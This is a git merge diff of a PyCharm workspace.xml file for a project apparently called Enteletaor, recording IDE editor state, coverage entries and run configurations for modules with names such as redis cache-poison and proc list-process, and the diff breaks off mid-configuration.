Merge branch 'develop'
This commit is contained in:
476
.idea/workspace.xml
generated
476
.idea/workspace.xml
generated
@@ -1,10 +1,13 @@
|
|||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<project version="4">
|
<project version="4">
|
||||||
<component name="ChangeListManager">
|
<component name="ChangeListManager">
|
||||||
<list default="true" id="f21e0167-ea6b-49ab-b506-bdd65f63e425" name="Default" comment="Minor fixes">
|
<list default="true" id="f21e0167-ea6b-49ab-b506-bdd65f63e425" name="Default" comment="">
|
||||||
<change type="NEW" beforePath="" afterPath="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_shell.py" />
|
<change type="NEW" beforePath="" afterPath="$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_list_process.py" />
|
||||||
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/.gitignore" afterPath="$PROJECT_DIR$/.gitignore" />
|
<change type="NEW" beforePath="" afterPath="$PROJECT_DIR$/enteletaor_lib/modules/proc/utils.py" />
|
||||||
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/.idea/workspace.xml" afterPath="$PROJECT_DIR$/.idea/workspace.xml" />
|
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/.idea/workspace.xml" afterPath="$PROJECT_DIR$/.idea/workspace.xml" />
|
||||||
|
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/enteletaor_lib/modules/proc/__init__.py" afterPath="$PROJECT_DIR$/enteletaor_lib/modules/proc/__init__.py" />
|
||||||
|
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/enteletaor_lib/modules/proc/cmd_actions.py" afterPath="$PROJECT_DIR$/enteletaor_lib/modules/proc/cmd_actions.py" />
|
||||||
|
<change type="MODIFICATION" beforePath="$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_raw_dump.py" afterPath="$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_raw_dump.py" />
|
||||||
</list>
|
</list>
|
||||||
<ignored path="Enteletaor.iws" />
|
<ignored path="Enteletaor.iws" />
|
||||||
<ignored path=".idea/workspace.xml" />
|
<ignored path=".idea/workspace.xml" />
|
||||||
@@ -18,16 +21,17 @@
|
|||||||
</component>
|
</component>
|
||||||
<component name="ChangesViewManager" flattened_view="true" show_ignored="false" />
|
<component name="ChangesViewManager" flattened_view="true" show_ignored="false" />
|
||||||
<component name="CoverageDataManager">
|
<component name="CoverageDataManager">
|
||||||
<SUITE FILE_PATH="coverage/Enteletaor$prueba_docout.coverage" NAME="prueba_docout Coverage Results" MODIFIED="1453933562882" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$USER_HOME$/Documents/Projects/Enteletaor" />
|
|
||||||
<SUITE FILE_PATH="coverage/Enteletaor$argsubparsers.coverage" NAME="argsubparsers Coverage Results" MODIFIED="1455616100673" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
|
||||||
<SUITE FILE_PATH="coverage/Enteletaor$data.coverage" NAME="tester Coverage Results" MODIFIED="1455280795178" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/../stb-core/enteletaor_lib" />
|
<SUITE FILE_PATH="coverage/Enteletaor$data.coverage" NAME="tester Coverage Results" MODIFIED="1455280795178" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/../stb-core/enteletaor_lib" />
|
||||||
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_redis_discover_db.coverage" NAME="enteletaor module redis discover-db Coverage Results" MODIFIED="1455716503611" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
|
||||||
<SUITE FILE_PATH="coverage/Enteletaor$__init__.coverage" NAME="__init__ Coverage Results" MODIFIED="1453676626706" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$USER_HOME$/Documents/Projects/Enteletaor/enteletaor_lib/modules" />
|
<SUITE FILE_PATH="coverage/Enteletaor$__init__.coverage" NAME="__init__ Coverage Results" MODIFIED="1453676626706" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$USER_HOME$/Documents/Projects/Enteletaor/enteletaor_lib/modules" />
|
||||||
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_redis_disconnect.coverage" NAME="enteletaor module redis disconnect Coverage Results" MODIFIED="1455631616654" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_redis_disconnect.coverage" NAME="enteletaor module redis disconnect Coverage Results" MODIFIED="1455631616654" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
||||||
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_proc_raw_dump.coverage" NAME="enteletaor proc raw-dump Coverage Results" MODIFIED="1455719827469" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_proc_raw_dump.coverage" NAME="enteletaor proc raw-dump Coverage Results" MODIFIED="1455719827469" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
||||||
|
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_redis_cache_poison.coverage" NAME="enteletaor module redis cache-poison Coverage Results" MODIFIED="1455788650320" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
||||||
<SUITE FILE_PATH="coverage/Enteletaor$model.coverage" NAME="model Coverage Results" MODIFIED="1453853975150" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$USER_HOME$/Documents/Projects/Enteletaor/enteletaor_lib/libs" />
|
<SUITE FILE_PATH="coverage/Enteletaor$model.coverage" NAME="model Coverage Results" MODIFIED="1453853975150" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$USER_HOME$/Documents/Projects/Enteletaor/enteletaor_lib/libs" />
|
||||||
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_dump.coverage" NAME="enteletaor module redis dump Coverage Results" MODIFIED="1455640099415" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_dump.coverage" NAME="enteletaor module redis dump Coverage Results" MODIFIED="1455640099415" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
||||||
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_web.coverage" NAME="enteletaor_web Coverage Results" MODIFIED="1453825208662" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$USER_HOME$/Documents/Projects/Enteletaor" />
|
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_web.coverage" NAME="enteletaor_web Coverage Results" MODIFIED="1453825208662" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$USER_HOME$/Documents/Projects/Enteletaor" />
|
||||||
|
<SUITE FILE_PATH="coverage/Enteletaor$prueba_docout.coverage" NAME="prueba_docout Coverage Results" MODIFIED="1453933562882" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$USER_HOME$/Documents/Projects/Enteletaor" />
|
||||||
|
<SUITE FILE_PATH="coverage/Enteletaor$argsubparsers.coverage" NAME="argsubparsers Coverage Results" MODIFIED="1455616100673" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
||||||
|
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_redis_discover_db.coverage" NAME="enteletaor module redis discover-db Coverage Results" MODIFIED="1455716503611" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
||||||
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_shell.coverage" NAME="enteletaor module shell Coverage Results" MODIFIED="1455636836919" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor_module_shell.coverage" NAME="enteletaor module shell Coverage Results" MODIFIED="1455636836919" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
||||||
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor.coverage" NAME="enteletaor Coverage Results" MODIFIED="1455617820233" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
<SUITE FILE_PATH="coverage/Enteletaor$enteletaor.coverage" NAME="enteletaor Coverage Results" MODIFIED="1455617820233" SOURCE_PROVIDER="com.intellij.coverage.DefaultCoverageFileProvider" RUNNER="coverage.py" COVERAGE_BY_TEST_ENABLED="true" COVERAGE_TRACING_ENABLED="false" WORKING_DIRECTORY="$PROJECT_DIR$/enteletaor_lib" />
|
||||||
</component>
|
</component>
|
||||||
@@ -40,36 +44,14 @@
|
|||||||
</component>
|
</component>
|
||||||
<component name="FileEditorManager">
|
<component name="FileEditorManager">
|
||||||
<leaf>
|
<leaf>
|
||||||
<file leaf-file-name="proc_raw_dump.py" pinned="false" current-in-tab="false">
|
<file leaf-file-name="proc_list_process.py" pinned="false" current-in-tab="true">
|
||||||
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_raw_dump.py">
|
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_list_process.py">
|
||||||
<provider selected="true" editor-type-id="text-editor">
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
<state vertical-scroll-proportion="0.0">
|
<state vertical-scroll-proportion="0.13915858">
|
||||||
<caret line="41" column="0" selection-start-line="41" selection-start-column="0" selection-end-line="41" selection-end-column="0" />
|
<caret line="81" column="46" selection-start-line="81" selection-start-column="46" selection-end-line="81" selection-end-column="46" />
|
||||||
<folding>
|
<folding>
|
||||||
<element signature="e#25#35#0" expanded="true" />
|
<element signature="e#25#34#0" expanded="true" />
|
||||||
</folding>
|
<element signature="e#273#432#1" expanded="true" />
|
||||||
</state>
|
|
||||||
</provider>
|
|
||||||
</entry>
|
|
||||||
</file>
|
|
||||||
<file leaf-file-name=".gitignore" pinned="false" current-in-tab="true">
|
|
||||||
<entry file="file://$PROJECT_DIR$/.gitignore">
|
|
||||||
<provider selected="true" editor-type-id="text-editor">
|
|
||||||
<state vertical-scroll-proportion="0.3254818">
|
|
||||||
<caret line="8" column="5" selection-start-line="8" selection-start-column="5" selection-end-line="8" selection-end-column="5" />
|
|
||||||
<folding />
|
|
||||||
</state>
|
|
||||||
</provider>
|
|
||||||
</entry>
|
|
||||||
</file>
|
|
||||||
<file leaf-file-name="__init__.py" pinned="false" current-in-tab="false">
|
|
||||||
<entry file="file://$PROJECT_DIR$/enteletaor_lib/modules/__init__.py">
|
|
||||||
<provider selected="true" editor-type-id="text-editor">
|
|
||||||
<state vertical-scroll-proportion="0.0">
|
|
||||||
<caret line="18" column="0" selection-start-line="18" selection-start-column="0" selection-end-line="18" selection-end-column="0" />
|
|
||||||
<folding>
|
|
||||||
<element signature="e#25#35#0" expanded="true" />
|
|
||||||
<element signature="e#607#774#1" expanded="true" />
|
|
||||||
</folding>
|
</folding>
|
||||||
</state>
|
</state>
|
||||||
</provider>
|
</provider>
|
||||||
@@ -93,11 +75,6 @@
|
|||||||
<component name="IdeDocumentHistory">
|
<component name="IdeDocumentHistory">
|
||||||
<option name="CHANGED_PATHS">
|
<option name="CHANGED_PATHS">
|
||||||
<list>
|
<list>
|
||||||
<option value="$PROJECT_DIR$/../stb-core/enteletaor_lib/tmp_runner.py" />
|
|
||||||
<option value="$PROJECT_DIR$/../stb-core/enteletaor_lib/enteletaor_web.py" />
|
|
||||||
<option value="$PROJECT_DIR$/../stb-core/enteletaor_lib/libs/core/config.py" />
|
|
||||||
<option value="$PROJECT_DIR$/../stb-core/enteletaor_lib/api.py" />
|
|
||||||
<option value="$PROJECT_DIR$/../stb-core/hooks.md" />
|
|
||||||
<option value="$PROJECT_DIR$/../stb-core/enteletaor_lib/__init__.py" />
|
<option value="$PROJECT_DIR$/../stb-core/enteletaor_lib/__init__.py" />
|
||||||
<option value="$PROJECT_DIR$/../stb-core/enteletaor_lib/libs/core/data.py" />
|
<option value="$PROJECT_DIR$/../stb-core/enteletaor_lib/libs/core/data.py" />
|
||||||
<option value="$PROJECT_DIR$/../stb-core/enteletaor_lib/libs/hooks/config/__init__.py" />
|
<option value="$PROJECT_DIR$/../stb-core/enteletaor_lib/libs/hooks/config/__init__.py" />
|
||||||
@@ -129,21 +106,26 @@
|
|||||||
<option value="$PROJECT_DIR$/enteletaor_lib/libs/core/structs.py" />
|
<option value="$PROJECT_DIR$/enteletaor_lib/libs/core/structs.py" />
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/libs/core/models.py" />
|
<option value="$PROJECT_DIR$/enteletaor_lib/libs/core/models.py" />
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_info.py" />
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_info.py" />
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/modules/__init__.py" />
|
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_clients.py" />
|
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/cmd_actions.py" />
|
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/libs/core/cmd.py" />
|
<option value="$PROJECT_DIR$/enteletaor_lib/libs/core/cmd.py" />
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_shell.py" />
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_shell.py" />
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_dump.py" />
|
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_disconnect.py" />
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_disconnect.py" />
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/__init__.py" />
|
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_discover_db.py" />
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_discover_db.py" />
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_dump.py" />
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_dump.py" />
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/cmd_actions.py" />
|
|
||||||
<option value="$PROJECT_DIR$/ATTACKS.md" />
|
<option value="$PROJECT_DIR$/ATTACKS.md" />
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/__init__.py" />
|
|
||||||
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_raw_dump.py" />
|
|
||||||
<option value="$PROJECT_DIR$/.gitignore" />
|
<option value="$PROJECT_DIR$/.gitignore" />
|
||||||
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/__init__.py" />
|
||||||
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_dump.py" />
|
||||||
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_clients.py" />
|
||||||
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_poison.py" />
|
||||||
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/__init__.py" />
|
||||||
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/cmd_actions.py" />
|
||||||
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/redis_cache.py" />
|
||||||
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/redis/utils.py" />
|
||||||
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/utils.py" />
|
||||||
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_raw_dump.py" />
|
||||||
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/__init__.py" />
|
||||||
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/cmd_actions.py" />
|
||||||
|
<option value="$PROJECT_DIR$/enteletaor_lib/modules/proc/proc_list_process.py" />
|
||||||
</list>
|
</list>
|
||||||
</option>
|
</option>
|
||||||
</component>
|
</component>
|
||||||
@@ -233,28 +215,6 @@
|
|||||||
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
|
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
|
||||||
</PATH_ELEMENT>
|
</PATH_ELEMENT>
|
||||||
</PATH>
|
</PATH>
|
||||||
<PATH>
|
|
||||||
<PATH_ELEMENT>
|
|
||||||
<option name="myItemId" value="Enteletaor" />
|
|
||||||
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.ProjectViewProjectNode" />
|
|
||||||
</PATH_ELEMENT>
|
|
||||||
<PATH_ELEMENT>
|
|
||||||
<option name="myItemId" value="enteletaor" />
|
|
||||||
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
|
|
||||||
</PATH_ELEMENT>
|
|
||||||
<PATH_ELEMENT>
|
|
||||||
<option name="myItemId" value="enteletaor_lib" />
|
|
||||||
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
|
|
||||||
</PATH_ELEMENT>
|
|
||||||
<PATH_ELEMENT>
|
|
||||||
<option name="myItemId" value="modules" />
|
|
||||||
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
|
|
||||||
</PATH_ELEMENT>
|
|
||||||
<PATH_ELEMENT>
|
|
||||||
<option name="myItemId" value="redis" />
|
|
||||||
<option name="myItemType" value="com.intellij.ide.projectView.impl.nodes.PsiDirectoryNode" />
|
|
||||||
</PATH_ELEMENT>
|
|
||||||
</PATH>
|
|
||||||
<PATH>
|
<PATH>
|
||||||
<PATH_ELEMENT>
|
<PATH_ELEMENT>
|
||||||
<option name="myItemId" value="Enteletaor" />
|
<option name="myItemId" value="Enteletaor" />
|
||||||
@@ -294,11 +254,11 @@
|
|||||||
</component>
|
</component>
|
||||||
<component name="RecentsManager">
|
<component name="RecentsManager">
|
||||||
<key name="MoveFile.RECENT_KEYS">
|
<key name="MoveFile.RECENT_KEYS">
|
||||||
|
<recent name="$PROJECT_DIR$/enteletaor_lib/modules/proc" />
|
||||||
<recent name="$PROJECT_DIR$/enteletaor_lib/modules/redis" />
|
<recent name="$PROJECT_DIR$/enteletaor_lib/modules/redis" />
|
||||||
<recent name="$PROJECT_DIR$/../stb-core/enteletaor_lib/libs" />
|
<recent name="$PROJECT_DIR$/../stb-core/enteletaor_lib/libs" />
|
||||||
<recent name="$PROJECT_DIR$/../stb-core/enteletaor_lib/libs/core" />
|
<recent name="$PROJECT_DIR$/../stb-core/enteletaor_lib/libs/core" />
|
||||||
<recent name="$USER_HOME$/Documents/Projects/Enteletaor/enteletaor_lib" />
|
<recent name="$USER_HOME$/Documents/Projects/Enteletaor/enteletaor_lib" />
|
||||||
<recent name="$USER_HOME$/Documents/Projects/Enteletaor/resources/web/static/img" />
|
|
||||||
</key>
|
</key>
|
||||||
<key name="CopyFile.RECENT_KEYS">
|
<key name="CopyFile.RECENT_KEYS">
|
||||||
<recent name="$PROJECT_DIR$/enteletaor_lib/modules/proc" />
|
<recent name="$PROJECT_DIR$/enteletaor_lib/modules/proc" />
|
||||||
@@ -308,7 +268,7 @@
|
|||||||
<recent name="$PROJECT_DIR$/../stb-core/enteletaor_lib/libs" />
|
<recent name="$PROJECT_DIR$/../stb-core/enteletaor_lib/libs" />
|
||||||
</key>
|
</key>
|
||||||
</component>
|
</component>
|
||||||
<component name="RunManager" selected="Python.enteletaor proc raw-dump">
|
<component name="RunManager" selected="Python.enteletaor proc list-process">
|
||||||
<configuration default="false" name="argsubparsers" type="PythonConfigurationType" factoryName="Python" temporary="true">
|
<configuration default="false" name="argsubparsers" type="PythonConfigurationType" factoryName="Python" temporary="true">
|
||||||
<option name="INTERPRETER_OPTIONS" value="" />
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
<option name="PARENT_ENVS" value="true" />
|
<option name="PARENT_ENVS" value="true" />
|
||||||
@@ -536,6 +496,24 @@
|
|||||||
<option name="SHOW_COMMAND_LINE" value="false" />
|
<option name="SHOW_COMMAND_LINE" value="false" />
|
||||||
<method />
|
<method />
|
||||||
</configuration>
|
</configuration>
|
||||||
|
<configuration default="false" name="enteletaor module redis cache-poison" type="PythonConfigurationType" factoryName="Python">
|
||||||
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
|
<option name="PARENT_ENVS" value="true" />
|
||||||
|
<envs>
|
||||||
|
<env name="PYTHONUNBUFFERED" value="1" />
|
||||||
|
</envs>
|
||||||
|
<option name="SDK_HOME" value="" />
|
||||||
|
<option name="WORKING_DIRECTORY" value="$PROJECT_DIR$/enteletaor_lib" />
|
||||||
|
<option name="IS_MODULE_SDK" value="true" />
|
||||||
|
<option name="ADD_CONTENT_ROOTS" value="true" />
|
||||||
|
<option name="ADD_SOURCE_ROOTS" value="true" />
|
||||||
|
<module name="enteletaor" />
|
||||||
|
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
|
||||||
|
<option name="SCRIPT_NAME" value="$PROJECT_DIR$/enteletaor_lib/enteletaor.py" />
|
||||||
|
<option name="PARAMETERS" value="-vvv redis cache --target=10.211.55.69" />
|
||||||
|
<option name="SHOW_COMMAND_LINE" value="false" />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
<configuration default="false" name="enteletaor module redis discover-db" type="PythonConfigurationType" factoryName="Python">
|
<configuration default="false" name="enteletaor module redis discover-db" type="PythonConfigurationType" factoryName="Python">
|
||||||
<option name="INTERPRETER_OPTIONS" value="" />
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
<option name="PARENT_ENVS" value="true" />
|
<option name="PARENT_ENVS" value="true" />
|
||||||
@@ -572,24 +550,6 @@
|
|||||||
<option name="SHOW_COMMAND_LINE" value="false" />
|
<option name="SHOW_COMMAND_LINE" value="false" />
|
||||||
<method />
|
<method />
|
||||||
</configuration>
|
</configuration>
|
||||||
<configuration default="false" name="enteletaor proc raw-dump" type="PythonConfigurationType" factoryName="Python">
|
|
||||||
<option name="INTERPRETER_OPTIONS" value="" />
|
|
||||||
<option name="PARENT_ENVS" value="true" />
|
|
||||||
<envs>
|
|
||||||
<env name="PYTHONUNBUFFERED" value="1" />
|
|
||||||
</envs>
|
|
||||||
<option name="SDK_HOME" value="" />
|
|
||||||
<option name="WORKING_DIRECTORY" value="$PROJECT_DIR$/enteletaor_lib" />
|
|
||||||
<option name="IS_MODULE_SDK" value="true" />
|
|
||||||
<option name="ADD_CONTENT_ROOTS" value="true" />
|
|
||||||
<option name="ADD_SOURCE_ROOTS" value="true" />
|
|
||||||
<module name="enteletaor" />
|
|
||||||
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
|
|
||||||
<option name="SCRIPT_NAME" value="$PROJECT_DIR$/enteletaor_lib/enteletaor.py" />
|
|
||||||
<option name="PARAMETERS" value="-vvv proc raw-dump --target 10.211.55.69 --tail" />
|
|
||||||
<option name="SHOW_COMMAND_LINE" value="false" />
|
|
||||||
<method />
|
|
||||||
</configuration>
|
|
||||||
<configuration default="false" name="enteletaor module redis disconnect" type="PythonConfigurationType" factoryName="Python">
|
<configuration default="false" name="enteletaor module redis disconnect" type="PythonConfigurationType" factoryName="Python">
|
||||||
<option name="INTERPRETER_OPTIONS" value="" />
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
<option name="PARENT_ENVS" value="true" />
|
<option name="PARENT_ENVS" value="true" />
|
||||||
@@ -608,14 +568,52 @@
|
|||||||
<option name="SHOW_COMMAND_LINE" value="false" />
|
<option name="SHOW_COMMAND_LINE" value="false" />
|
||||||
<method />
|
<method />
|
||||||
</configuration>
|
</configuration>
|
||||||
<list size="7">
|
<configuration default="false" name="enteletaor proc raw-dump" type="PythonConfigurationType" factoryName="Python">
|
||||||
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
|
<option name="PARENT_ENVS" value="true" />
|
||||||
|
<envs>
|
||||||
|
<env name="PYTHONUNBUFFERED" value="1" />
|
||||||
|
</envs>
|
||||||
|
<option name="SDK_HOME" value="" />
|
||||||
|
<option name="WORKING_DIRECTORY" value="$PROJECT_DIR$/enteletaor_lib" />
|
||||||
|
<option name="IS_MODULE_SDK" value="true" />
|
||||||
|
<option name="ADD_CONTENT_ROOTS" value="true" />
|
||||||
|
<option name="ADD_SOURCE_ROOTS" value="true" />
|
||||||
|
<module name="enteletaor" />
|
||||||
|
<EXTENSION ID="PythonCoverageRunConfigurationExtension" enabled="false" sample_coverage="true" runner="coverage.py" />
|
||||||
|
<option name="SCRIPT_NAME" value="$PROJECT_DIR$/enteletaor_lib/enteletaor.py" />
|
||||||
|
<option name="PARAMETERS" value="-vvv proc raw-dump --target 10.211.55.69 --streaming" />
|
||||||
|
<option name="SHOW_COMMAND_LINE" value="false" />
|
||||||
|
<method />
|
||||||
|
</configuration>
|
||||||
|
<configuration default="false" name="enteletaor proc list-process" type="PythonConfigurationType" factoryName="Python">
|
||||||
|
<option name="INTERPRETER_OPTIONS" value="" />
|
||||||
|
<option name="PARENT_ENVS" value="true" />
|
||||||
|
<envs>
|
||||||
|
<env name="PYTHONUNBUFFERED" value="1" />
|
||||||
|
</envs>
|
||||||
|
<option name="SDK_HOME" value="" />
|
||||||
|
<option name="WORKING_DIRECTORY" value="$PROJECT_DIR$/enteletaor_lib" />
|
||||||
|
<option name="IS_MODULE_SDK" value="true" />
|
||||||
|
<option name="ADD_CONTENT_ROOTS" value="true" />
|
||||||
|
<option name="ADD_SOURCE_ROOTS" value="true" />
|
||||||
|
<module name="enteletaor" />
|
||||||
|
